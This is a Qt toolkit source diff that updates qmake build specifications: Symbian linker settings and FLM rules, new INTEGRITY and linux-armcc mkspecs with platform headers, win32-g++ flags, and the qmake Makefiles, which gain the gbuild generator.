diff --git a/mkspecs/symbian-gcce/qmake.conf b/mkspecs/symbian-gcce/qmake.conf
index a31e6e4..1d1053c 100644
--- a/mkspecs/symbian-gcce/qmake.conf
+++ b/mkspecs/symbian-gcce/qmake.conf
@@ -47,14 +47,14 @@ QMAKE_CXXFLAGS_STATIC_LIB -= -fPIC
QMAKE_LFLAGS_SONAME =
#QMAKE_LFLAGS_THREAD +=
-#QMAKE_LFLAGS_NOUNDEF += -Wl,--no-undefined
+QMAKE_LFLAGS_NOUNDEF =
QMAKE_LFLAGS_RPATH = --rpath=
DEFINES += __GCCE__ \
UNICODE
QMAKE_LFLAGS_APP += --entry=_E32Startup -u _E32Startup
-QMAKE_LFLAGS_SHLIB += -shared --default-symver --entry _E32Dll
+QMAKE_LFLAGS_SHLIB += -shared --default-symver --entry _E32Dll -u _E32Dll
QMAKE_LFLAGS_PLUGIN += $$QMAKE_LFLAGS_SHLIB
gcceExtraFlags = --include=$${EPOCROOT}epoc32/include/gcce/gcce.h -march=armv5t -mapcs -mthumb-interwork -nostdinc -c -msoft-float -T script
@@ -72,16 +72,16 @@ QMAKE_LFLAGS += --target1-abs \
QMAKE_LIBDIR += $${EPOCROOT}epoc32/release/armv5/udeb/
# g++ knows the path to the gcc-shipped-libs, ld doesn't. So cache the full path in the generate Makefile
-QMAKE_GCC_SEARCH_DIRS =$$system($$QMAKE_CXX -print-search-dirs)
-for(line, QMAKE_GCC_SEARCH_DIRS) {
- contains(line, "libraries:") {
- foundIt="1"
- } else {
- contains(foundIt, "1") {
- QMAKE_LFLAGS += $$replace(line, "[=:]", " -L")
- }
- }
+QMAKE_GCC_SEARCH_DIRS = $$system($$QMAKE_CXX -print-search-dirs)
+QMAKE_GCC_SEARCH_DIRS = "$$join(QMAKE_GCC_SEARCH_DIRS, " ")"
+QMAKE_GCC_SEARCH_DIRS = $$replace(QMAKE_GCC_SEARCH_DIRS, ".*libraries: *", "")
+QMAKE_GCC_SEARCH_DIRS = $$replace(QMAKE_GCC_SEARCH_DIRS, "=", "")
+contains(QMAKE_HOST.os,Windows) {
+ QMAKE_GCC_SEARCH_DIRS = $$split(QMAKE_GCC_SEARCH_DIRS, ;)
+} else {
+ QMAKE_GCC_SEARCH_DIRS = $$split(QMAKE_GCC_SEARCH_DIRS, :)
}
+for(line, QMAKE_GCC_SEARCH_DIRS):QMAKE_LIBDIR += $$line
QMAKE_LIBDIR += $${EPOCROOT}epoc32/release/armv5/lib
diff --git a/mkspecs/symbian-sbsv2/flm/qt/qmake_clean.flm b/mkspecs/symbian-sbsv2/flm/qt/qmake_clean.flm
new file mode 100644
index 0000000..fe35e6e
--- /dev/null
+++ b/mkspecs/symbian-sbsv2/flm/qt/qmake_clean.flm
@@ -0,0 +1,18 @@
+# /****************************************************************************
+# **
+# ** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+# ** Contact: Nokia Corporation (qt-info@nokia.com)
+# **
+# ** This file is part of symbian-sbsv2 mkspec.
+# **
+# ****************************************************************************/
+
+
+SINGLETON:=$(call sanitise,QMAKE_CLEAN_SINGLETON_$(EXTENSION_ROOT))
+
+ifeq ($($(SINGLETON)),)
+# Prevent duplicate targets from being created
+$(SINGLETON):=1
+$(eval $(call GenerateStandardCleanTarget,$(CLEAN_FILES),''))
+endif
+
diff --git a/mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm b/mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm
index db91f7f..8791a47 100644
--- a/mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm
+++ b/mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm
@@ -11,6 +11,9 @@
SINGLETON:=$(call sanitise,TARGET_$(DEPLOY_TARGET))
CLEAN_TARGET:=
+# Deployment dependencies collection target for post link operations
+all_qmake_emulator_deployment_dependencies::
+
define qmake_emulator_deployment
$(ALLTARGET):: $(1)
@@ -19,7 +22,7 @@ $(SINGLETON):=1
CLEAN_TARGET:=$(1)
-$(1): $(2)
+$(1): $(2) all_qmake_emulator_deployment_dependencies
$(call startrule,qmake_emulator_deployment) \
$(GNUCP) --remove-destination --no-preserve=mode $(2) "$$@" && \
$(GNUCHMOD) a+rw "$$@" \
@@ -30,8 +33,6 @@ ifeq ($($(SINGLETON)),)
$(eval $(call qmake_emulator_deployment, $(subst $(CHAR_SPACE),\$(CHAR_SPACE),$(DEPLOY_TARGET)), $(subst $(CHAR_SPACE),\$(CHAR_SPACE),$(DEPLOY_SOURCE))))
$(call makepath,$(dir $(DEPLOY_TARGET)))
$(eval $(call GenerateStandardCleanTarget,$(CLEAN_TARGET),''))
+$(eval $(call whatmacro,$(CLEAN_TARGET)))
endif
-
-
-
diff --git a/mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm b/mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm
index ae53741..0312d14 100644
--- a/mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm
+++ b/mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm
@@ -18,6 +18,8 @@ define command_fixer
THE_COMMAND:=$(POST_LINK_CMD)
endef
+all_qmake_emulator_deployment_dependencies:: $(POST_LINK_TARGET)
+
define qmake_post_link
$(ALLTARGET):: $(POST_LINK_TARGET)
diff --git a/mkspecs/symbian-sbsv2/flm/qt/qt.xml b/mkspecs/symbian-sbsv2/flm/qt/qt.xml
index ddd8d55..f2f32ee 100644
--- a/mkspecs/symbian-sbsv2/flm/qt/qt.xml
+++ b/mkspecs/symbian-sbsv2/flm/qt/qt.xml
@@ -38,4 +38,9 @@
<interface name="qt.qmake_store_build" extends="Symbian.UserFLM"
flm="qmake_store_build.flm">
</interface>
+
+ <interface name="qt.qmake_clean" extends="Symbian.UserFLM"
+ flm="qmake_clean.flm">
+ <param name='CLEAN_FILES' />
+ </interface>
</build>
diff --git a/mkspecs/unsupported/integrity-ghs/qmake.conf b/mkspecs/unsupported/integrity-ghs/qmake.conf
new file mode 100644
index 0000000..822d6bb
--- /dev/null
+++ b/mkspecs/unsupported/integrity-ghs/qmake.conf
@@ -0,0 +1,72 @@
+#
+# qmake configuration for integrity-ghs
+#
+
+MAKEFILE_GENERATOR = GBUILD
+#MAKEFILE_GENERATOR = UNIX
+TEMPLATE = app
+CONFIG += qt warn_on release integrity unix
+QT += core gui network
+
+QMAKE_CFLAGS = -bsp $$INTEGRITY_BSP -os_dir $__OS_DIR
+QMAKE_CFLAGS += --diag_suppress=1,228,236,381,611,997
+QMAKE_CFLAGS_WARN_ON =
+QMAKE_CFLAGS_WARN_OFF = -w
+QMAKE_CFLAGS_RELEASE = -g -Ospeed -Olink --signed_fields --no_commons
+QMAKE_CFLAGS_DEBUG = -g --no_commons --signed_fields
+QMAKE_CFLAGS_SHLIB =
+QMAKE_CFLAGS_THREAD = -D_REENTRANT
+
+QMAKE_CXXFLAGS = $$QMAKE_CFLAGS --no_implicit_include --link_once_templates
+QMAKE_CXXFLAGS_WARN_ON = $$QMAKE_CFLAGS_WARN_ON
+QMAKE_CXXFLAGS_WARN_OFF = $$QMAKE_CFLAGS_WARN_OFF
+QMAKE_CXXFLAGS_RELEASE = $$QMAKE_CFLAGS_RELEASE
+QMAKE_CXXFLAGS_DEBUG = $$QMAKE_CFLAGS_DEBUG
+QMAKE_CXXFLAGS_SHLIB = $$QMAKE_CFLAGS_SHLIB
+QMAKE_CXXFLAGS_YACC = $$QMAKE_CFLAGS_YACC
+QMAKE_CXXFLAGS_THREAD = $$QMAKE_CFLAGS_THREAD
+
+QMAKE_INCDIR =
+QMAKE_LIBDIR =
+QMAKE_INCDIR_X11 =
+QMAKE_LIBDIR_X11 =
+QMAKE_INCDIR_QT = $$[QT_INSTALL_HEADERS]
+QMAKE_LIBDIR_QT = $$[QT_INSTALL_LIBS]
+QMAKE_INCDIR_OPENGL =
+QMAKE_LIBDIR_OPENGL =
+QMAKE_INCDIR_QTOPIA = $(QPEDIR)/include
+QMAKE_LIBDIR_QTOPIA = $(QPEDIR)/lib
+
+QMAKE_LFLAGS = -lposix -livfs -lnet -lsocket -lfbdev -ldl
+QMAKE_LFLAGS_RELEASE = -g -Ospeed -Olink --no_commons -non_shared --link_once_templates
+QMAKE_LFLAGS_DEBUG = -g --no_commons
+QMAKE_LFLAGS_SHLIB =
+QMAKE_LFLAGS_PLUGIN = $$QMAKE_LFLAGS_SHLIB
+QMAKE_LFLAGS_SONAME =
+QMAKE_LFLAGS_THREAD =
+QMAKE_LFLAGS_RPATH =
+
+QMAKE_LIBS =
+QMAKE_LIBS_DYNLOAD = -ldl
+QMAKE_LIBS_X11 =
+QMAKE_LIBS_X11SM =
+QMAKE_LIBS_QTOPIA =
+QMAKE_LIBS_THREAD =
+
+QMAKE_MOC = $$[QT_INSTALL_BINS]/moc
+QMAKE_UIC = $$[QT_INSTALL_BINS]/uic
+
+QMAKE_AR = ar cqs
+QMAKE_RANLIB =
+
+QMAKE_TAR = tar -cf
+QMAKE_GZIP = gzip -9f
+
+QMAKE_COPY = cp -f
+QMAKE_MOVE = mv -f
+QMAKE_DEL_FILE = rm -f
+QMAKE_DEL_DIR = rmdir
+QMAKE_CHK_DIR_EXISTS = test -d
+QMAKE_MKDIR = mkdir -p
+load(qt_config)
+
diff --git a/mkspecs/unsupported/integrity-ghs/qplatformdefs.h b/mkspecs/unsupported/integrity-ghs/qplatformdefs.h
new file mode 100644
index 0000000..adfb374
--- /dev/null
+++ b/mkspecs/unsupported/integrity-ghs/qplatformdefs.h
@@ -0,0 +1,201 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtGui module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// Get Qt defines/settings
+
+#include "qglobal.h"
+
+// Set any POSIX/XOPEN defines at the top of this file to turn on specific APIs
+
+#include <unistd.h>
+
+// We are hot - unistd.h should have turned on the specific APIs we requested
+
+#include <pthread.h>
+#include <dirent.h>
+#include <fcntl.h>
+#include <grp.h>
+#include <pwd.h>
+#include <signal.h>
+#include <dlfcn.h>
+#include <limits.h>
+
+#include <sys/types.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <netinet/in.h>
+#ifndef QT_NO_IPV6IFNAME
+#include <net/if.h>
+#endif
+
+#ifdef QT_LARGEFILE_SUPPORT
+#define QT_STATBUF struct stat64
+#define QT_STATBUF4TSTAT struct stat64
+#define QT_STAT ::stat64
+#define QT_FSTAT ::fstat64
+#define QT_LSTAT ::lstat64
+#define QT_OPEN ::open64
+#define QT_TRUNCATE ::truncate64
+#define QT_FTRUNCATE ::ftruncate64
+#define QT_LSEEK ::lseek64
+#else
+#define QT_STATBUF struct stat
+#define QT_STATBUF4TSTAT struct stat
+#define QT_STAT ::stat
+#define QT_FSTAT ::fstat
+#define QT_LSTAT ::lstat
+#define QT_OPEN ::open
+#define QT_TRUNCATE ::truncate
+#define QT_FTRUNCATE ::ftruncate
+#define QT_LSEEK ::lseek
+#endif
+
+#ifdef QT_LARGEFILE_SUPPORT
+#define QT_FOPEN ::fopen64
+#define QT_FSEEK ::fseeko64
+#define QT_FTELL ::ftello64
+#define QT_FGETPOS ::fgetpos64
+#define QT_FSETPOS ::fsetpos64
+#define QT_FPOS_T fpos64_t
+#define QT_OFF_T off64_t
+#else
+#define QT_FOPEN ::fopen
+#define QT_FSEEK ::fseek
+#define QT_FTELL ::ftell
+#define QT_FGETPOS ::fgetpos
+#define QT_FSETPOS ::fsetpos
+#define QT_FPOS_T fpos_t
+#define QT_OFF_T long
+#endif
+
+#define QT_STAT_REG S_IFREG
+#define QT_STAT_DIR S_IFDIR
+#define QT_STAT_MASK S_IFMT
+#define QT_STAT_LNK S_IFLNK
+#define QT_SOCKET_CONNECT ::connect
+#define QT_SOCKET_BIND ::bind
+#define QT_FILENO fileno
+#ifndef QT_CLOSE
+#define QT_CLOSE ::close
+#endif
+#ifndef QT_READ
+#define QT_READ ::read
+#endif
+#ifndef QT_WRITE
+#define QT_WRITE ::write
+#endif
+#define QT_ACCESS ::access
+#define QT_GETCWD ::getcwd
+#define QT_CHDIR ::chdir
+#define QT_MKDIR ::mkdir
+#define QT_RMDIR ::rmdir
+#define QT_OPEN_RDONLY O_RDONLY
+#define QT_OPEN_WRONLY O_WRONLY
+#define QT_OPEN_RDWR O_RDWR
+#define QT_OPEN_CREAT O_CREAT
+#define QT_OPEN_TRUNC O_TRUNC
+#define QT_OPEN_APPEND O_APPEND
+
+#define QT_SIGNAL_RETTYPE void
+#define QT_SIGNAL_ARGS int
+#define QT_SIGNAL_IGNORE SIG_IGN
+
+#define QT_MMAP ::mmap
+
+// Directory iteration
+#define QT_DIR DIR
+
+#define QT_OPENDIR ::opendir
+#define QT_CLOSEDIR ::closedir
+
+
+#if defined(QT_LARGEFILE_SUPPORT) \
+ && defined(QT_USE_XOPEN_LFS_EXTENSIONS) \
+ && !defined(QT_NO_READDIR64)
+# define QT_DIRENT struct dirent64
+# define QT_READDIR ::readdir64
+# define QT_READDIR_R ::readdir64_r
+#else
+# define QT_DIRENT struct dirent
+# define QT_READDIR ::readdir
+# define QT_READDIR_R ::readdir_r
+#endif
+
+#define QT_SOCKLEN_T socklen_t
+
+#if defined(_XOPEN_SOURCE) && (_XOPEN_SOURCE >= 500)
+#define QT_SNPRINTF ::snprintf
+#define QT_VSNPRINTF ::vsnprintf
+#endif
+
+#ifndef MAXNAMLEN
+# define MAXNAMLEN NAME_MAX
+#endif
+
+#ifndef PATH_MAX
+# define PATH_MAX MAXPATHLEN
+#endif
+
+#ifndef NSIG
+# define NSIG _SIGMAX
+#endif
+
+#ifndef MAP_ANON
+# define MAP_ANON 0
+#endif
+
+typedef void (*sighandler_t)(int);
+
+#ifndef QT_NO_MMAP
+# define QT_NO_MMAP
+#endif
+
+#ifndef QT_NO_SHAREDMEMORY
+# define QT_NO_SHAREDMEMORY
+#endif
+
+#ifndef QT_NO_SYSTEMSEMAPHORE
+# define QT_NO_SYSTEMSEMAPHORE
+#endif
+
diff --git a/mkspecs/unsupported/linux-armcc/qmake.conf b/mkspecs/unsupported/linux-armcc/qmake.conf
new file mode 100644
index 0000000..77891c3
--- /dev/null
+++ b/mkspecs/unsupported/linux-armcc/qmake.conf
@@ -0,0 +1,32 @@
+#
+# qmake configuration for linux-armcc
+#
+
+MAKEFILE_GENERATOR = UNIX
+TARGET_PLATFORM = unix
+TEMPLATE = app
+CONFIG += qt warn_on release incremental link_prl armcc_linker
+QT += core gui
+QMAKE_INCREMENTAL_STYLE = sublib
+
+include(../../common/linux.conf)
+include(../../common/armcc.conf)
+load(qt_config)
+
+# use armcc for linking since armlink doesn't understand the arm_linux_config_file option
+QMAKE_LINK = armcc
+QMAKE_LINK_SHLIB = armcc
+QMAKE_LINK_C = armcc
+QMAKE_LINK_C_SHLIB = armcc
+
+QMAKE_LFLAGS_SHLIB += --apcs=/fpic --shared
+QMAKE_LFLAGS_PLUGIN = $$QMAKE_LFLAGS_SHLIB
+
+QMAKE_LIBS += libstdc++.so librt.so
+
+CONFIG -= rvct_linker
+
+QMAKE_CFLAGS += --gnu --arm_linux --dllimport_runtime --thumb --cpu Cortex-A9 --arm_linux_config_file="$(HOME)/qt_rvct_config" --arm-linux-paths --apcs=/interwork --visibility_inlines_hidden --diag_suppress 1300,2523
+QMAKE_CXXFLAGS += $$QMAKE_CFLAGS --cpp
+
+QMAKE_LFLAGS += --diag_suppress 6331,6780,6439 --arm_linux_config_file="$(HOME)/qt_rvct_config" --arm-linux-paths
diff --git a/mkspecs/unsupported/linux-armcc/qplatformdefs.h b/mkspecs/unsupported/linux-armcc/qplatformdefs.h
new file mode 100644
index 0000000..a1ce6a1
--- /dev/null
+++ b/mkspecs/unsupported/linux-armcc/qplatformdefs.h
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the qmake spec of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QPLATFORMDEFS_H
+#define QPLATFORMDEFS_H
+
+// Get Qt defines/settings
+
+#include "qglobal.h"
+
+// Set any POSIX/XOPEN defines at the top of this file to turn on specific APIs
+
+// 1) need to reset default environment if _BSD_SOURCE is defined
+// 2) need to specify POSIX thread interfaces explicitly in glibc 2.0
+// 3) it seems older glibc need this to include the X/Open stuff
+#ifndef _GNU_SOURCE
+# define _GNU_SOURCE
+#endif
+
+#include <unistd.h>
+
+
+// We are hot - unistd.h should have turned on the specific APIs we requested
+
+#include <features.h>
+#include <pthread.h>
+#include <dirent.h>
+#include <fcntl.h>
+#include <grp.h>
+#include <pwd.h>
+#include <signal.h>
+
+#include <sys/types.h>
+#include <sys/ioctl.h>
+#include <sys/ipc.h>
+#include <sys/time.h>
+#include <sys/shm.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <netinet/in.h>
+#ifndef QT_NO_IPV6IFNAME
+#include <net/if.h>
+#endif
+
+#define QT_USE_XOPEN_LFS_EXTENSIONS
+#include "../../common/posix/qplatformdefs.h"
+
+#undef QT_SOCKLEN_T
+
+#if defined(__GLIBC__) && (__GLIBC__ >= 2)
+#define QT_SOCKLEN_T socklen_t
+#else
+#define QT_SOCKLEN_T int
+#endif
+
+#if defined(_XOPEN_SOURCE) && (_XOPEN_SOURCE >= 500)
+#define QT_SNPRINTF ::snprintf
+#define QT_VSNPRINTF ::vsnprintf
+#endif
+
+#endif // QPLATFORMDEFS_H
diff --git a/mkspecs/unsupported/qws/integrity-arm-cxarm/qmake.conf b/mkspecs/unsupported/qws/integrity-arm-cxarm/qmake.conf
new file mode 100644
index 0000000..acaf3c2
--- /dev/null
+++ b/mkspecs/unsupported/qws/integrity-arm-cxarm/qmake.conf
@@ -0,0 +1,12 @@
+#
+# qmake configuration for integrity-ghs
+#
+
+INTEGRITY_DIR = /enter/your/path/to/INTEGRITY
+INTEGRITY_BSP = enter_your_bsp_name_here
+QMAKE_CC = ccintarm
+QMAKE_CXX = cxintarm
+QMAKE_LINK = cxintarm
+QMAKE_LINK_SHLIB = cxintarm
+include(../../integrity-ghs/qmake.conf)
+
diff --git a/tools/qdoc3/loutgenerator.cpp b/mkspecs/unsupported/qws/integrity-arm-cxarm/qplatformdefs.h
index 3a6a078..e19f8dd 100644
--- a/tools/qdoc3/loutgenerator.cpp
+++ b/mkspecs/unsupported/qws/integrity-arm-cxarm/qplatformdefs.h
@@ -1,10 +1,10 @@
/****************************************************************************
**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the qmake spec of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
@@ -39,25 +39,4 @@
**
****************************************************************************/
-/*
- loutgenerator.cpp
-*/
-
-#include "loutgenerator.h"
-
-QT_BEGIN_NAMESPACE
-
-LoutGenerator::LoutGenerator()
-{
-}
-
-LoutGenerator::~LoutGenerator()
-{
-}
-
-QString LoutGenerator::format()
-{
- return "lout";
-}
-
-QT_END_NAMESPACE
+#include "../../integrity-ghs/qplatformdefs.h"
diff --git a/mkspecs/unsupported/qws/integrity-ppc-cxppc/qmake.conf b/mkspecs/unsupported/qws/integrity-ppc-cxppc/qmake.conf
new file mode 100644
index 0000000..829e6d3
--- /dev/null
+++ b/mkspecs/unsupported/qws/integrity-ppc-cxppc/qmake.conf
@@ -0,0 +1,12 @@
+#
+# qmake configuration for integrity-ghs
+#
+
+INTEGRITY_DIR = /enter/your/path/to/INTEGRITY
+INTEGRITY_BSP = enter_your_bsp_name_here
+QMAKE_CC = ccintppc
+QMAKE_CXX = cxintppc
+QMAKE_LINK = cxintppc
+QMAKE_LINK_SHLIB = cxintppc
+include(../../integrity-ghs/qmake.conf)
+
diff --git a/tools/qdoc3/command.h b/mkspecs/unsupported/qws/integrity-ppc-cxppc/qplatformdefs.h
index b0aac18..e19f8dd 100644
--- a/tools/qdoc3/command.h
+++ b/mkspecs/unsupported/qws/integrity-ppc-cxppc/qplatformdefs.h
@@ -1,10 +1,10 @@
/****************************************************************************
**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the qmake spec of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
@@ -39,22 +39,4 @@
**
****************************************************************************/
-/*
- command.h
-*/
-
-#ifndef COMMAND_H
-#define COMMAND_H
-
-#include <qstringlist.h>
-
-#include "location.h"
-
-QT_BEGIN_NAMESPACE
-
-void executeCommand( const Location& location, const QString& commandFormat,
- const QStringList& args );
-
-QT_END_NAMESPACE
-
-#endif
+#include "../../integrity-ghs/qplatformdefs.h"
diff --git a/mkspecs/win32-g++/qmake.conf b/mkspecs/win32-g++/qmake.conf
index ec216aa..da65727 100644
--- a/mkspecs/win32-g++/qmake.conf
+++ b/mkspecs/win32-g++/qmake.conf
@@ -52,8 +52,8 @@ QMAKE_RUN_CXX_IMP = $(CXX) -c $(CXXFLAGS) $(INCPATH) -o $@ $<
QMAKE_LINK = g++
QMAKE_LINK_C = gcc
-QMAKE_LFLAGS = -enable-stdcall-fixup -Wl,-enable-auto-import -Wl,-enable-runtime-pseudo-reloc
-QMAKE_LFLAGS_EXCEPTIONS_ON = -mthreads -Wl
+QMAKE_LFLAGS = -Wl,-enable-stdcall-fixup -Wl,-enable-auto-import -Wl,-enable-runtime-pseudo-reloc
+QMAKE_LFLAGS_EXCEPTIONS_ON = -mthreads
QMAKE_LFLAGS_EXCEPTIONS_OFF =
QMAKE_LFLAGS_RELEASE = -Wl,-s
QMAKE_LFLAGS_DEBUG =
@@ -62,6 +62,8 @@ QMAKE_LFLAGS_WINDOWS = -Wl,-subsystem,windows
QMAKE_LFLAGS_DLL = -shared
QMAKE_LINK_OBJECT_MAX = 10
QMAKE_LINK_OBJECT_SCRIPT= object_script
+QMAKE_PREFIX_STATICLIB = lib
+QMAKE_EXTENSION_STATICLIB = a
QMAKE_LIBS =
@@ -77,7 +79,7 @@ QMAKE_LIBS_QT_ENTRY = -lmingw32 -lqtmain
QMAKE_DIR_SEP = /
QMAKE_QMAKE ~= s,\\\\,/,
QMAKE_COPY = cp
- QMAKE_COPY_DIR = xcopy /s /q /y /i
+ QMAKE_COPY_DIR = cp -r
QMAKE_MOVE = mv
QMAKE_DEL_FILE = rm
QMAKE_MKDIR = mkdir
diff --git a/projects.pro b/projects.pro
index f94e1de..2e31e9a 100644
--- a/projects.pro
+++ b/projects.pro
@@ -143,11 +143,6 @@ CONFIG -= qt
### installations ####
-#translations
-translations.path=$$[QT_INSTALL_TRANSLATIONS]
-translations.files = $$QT_SOURCE_TREE/translations/*.qm
-INSTALLS += translations
-
#qmake
qmake.path=$$[QT_INSTALL_BINS]
win32 {
diff --git a/qmake/Makefile.unix b/qmake/Makefile.unix
index a24076e..fd502e0 100644
--- a/qmake/Makefile.unix
+++ b/qmake/Makefile.unix
@@ -11,7 +11,7 @@ OBJS=project.o property.o main.o makefile.o unixmake2.o unixmake.o \
meta.o makefiledeps.o metamakefile.o xmloutput.o pbuilder_pbx.o \
borland_bmake.o msvc_vcproj.o msvc_vcxproj.o msvc_nmake.o msvc_objectmodel.o msbuild_objectmodel.o \
symmake.o initprojectdeploy_symbian.o symmake_abld.o symmake_sbsv2.o \
- symbiancommon.o registry.o epocroot.o
+ symbiancommon.o registry.o epocroot.o gbuild.o
#qt code
QOBJS=qtextcodec.o qutfcodec.o qstring.o qtextstream.o qiodevice.o qmalloc.o qglobal.o \
@@ -38,6 +38,7 @@ DEPEND_SRC=project.cpp property.cpp meta.cpp main.cpp generators/makefile.cpp ge
$(SOURCE_PATH)/tools/shared/symbian/epocroot.cpp \
generators/symbian/symmake_abld.cpp generators/symbian/symmake_sbsv2.cpp \
generaters/symbian/symbiancommon.cpp \
+ generators/integrity/gbuild.cpp \
$(SOURCE_PATH)/src/corelib/codecs/qtextcodec.cpp $(SOURCE_PATH)/src/corelib/codecs/qutfcodec.cpp \
$(SOURCE_PATH)/src/corelib/tools/qstring.cpp $(SOURCE_PATH)/src/corelib/io/qfile.cpp \
$(SOURCE_PATH)/src/corelib/io/qtextstream.cpp $(SOURCE_PATH)/src/corelib/io/qiodevice.cpp \
@@ -68,7 +69,8 @@ DEPEND_SRC=project.cpp property.cpp meta.cpp main.cpp generators/makefile.cpp ge
$(SOURCE_PATH)/src/corelib/kernel/qsystemerror.cpp \
$(QTSRCS)
-CPPFLAGS = -I. -Igenerators -Igenerators/unix -Igenerators/win32 -Igenerators/mac -Igenerators/symbian \
+CPPFLAGS = -g -I. -Igenerators -Igenerators/unix -Igenerators/win32 \
+ -Igenerators/mac -Igenerators/symbian -Igenerators/integrity \
-I$(BUILD_PATH)/include -I$(BUILD_PATH)/include/QtCore \
-I$(BUILD_PATH)/src/corelib/global -I$(BUILD_PATH)/src/corelib/xml \
-I$(SOURCE_PATH)/tools/shared \
@@ -318,6 +320,9 @@ registry.o: $(SOURCE_PATH)/tools/shared/windows/registry.cpp
epocroot.o: $(SOURCE_PATH)/tools/shared/symbian/epocroot.cpp
$(CXX) -c -o $@ $(CXXFLAGS) $(SOURCE_PATH)/tools/shared/symbian/epocroot.cpp
+gbuild.o: generators/integrity/gbuild.cpp
+ $(CXX) -c -o $@ $(CXXFLAGS) generators/integrity/gbuild.cpp
+
projectgenerator.o: generators/projectgenerator.cpp
$(CXX) -c -o $@ $(CXXFLAGS) generators/projectgenerator.cpp
diff --git a/qmake/Makefile.win32 b/qmake/Makefile.win32
index 4d29537..0ab2932 100644
--- a/qmake/Makefile.win32
+++ b/qmake/Makefile.win32
@@ -31,7 +31,7 @@ CFLAGS_EXTRA = /MP
CFLAGS_BARE = -c -Fo./ \
-W3 -nologo -O2 \
$(CFLAGS_EXTRA) \
- -I. -Igenerators -Igenerators\unix -Igenerators\win32 -Igenerators\mac -Igenerators\symbian \
+ -I. -Igenerators -Igenerators\unix -Igenerators\win32 -Igenerators\mac -Igenerators\symbian -Igenerators\integrity \
-I$(BUILD_PATH)\include -I$(BUILD_PATH)\include\QtCore \
-I$(SOURCE_PATH)\include -I$(SOURCE_PATH)\include\QtCore \
-I$(BUILD_PATH)\src\corelib\global \
@@ -62,7 +62,8 @@ OBJS = project.obj main.obj makefile.obj unixmake.obj unixmake2.obj mingw
makefiledeps.obj metamakefile.obj xmloutput.obj pbuilder_pbx.obj \
borland_bmake.obj msvc_nmake.obj msvc_vcproj.obj msvc_vcxproj.obj \
msvc_objectmodel.obj msbuild_objectmodel.obj symmake.obj initprojectdeploy_symbian.obj \
- symmake_abld.obj symmake_sbsv2.obj symbiancommon.obj registry.obj epocroot.obj
+ symmake_abld.obj symmake_sbsv2.obj symbiancommon.obj registry.obj epocroot.obj \
+ gbuild.obj
!IFDEF QMAKE_OPENSOURCE_EDITION
CFLAGS = $(CFLAGS) -DQMAKE_OPENSOURCE_EDITION
@@ -169,6 +170,9 @@ qmake_pch.obj:
{$(SOURCE_PATH)\qmake\generators\symbian}.cpp{}.obj::
$(CXX) $(CXXFLAGS) $<
+{$(SOURCE_PATH)\qmake\generators\integrity}.cpp{}.obj::
+ $(CXX) $(CXXFLAGS) $<
+
{$(SOURCE_PATH)\qmake\generators\unix}.cpp{}.obj::
$(CXX) $(CXXFLAGS) $<
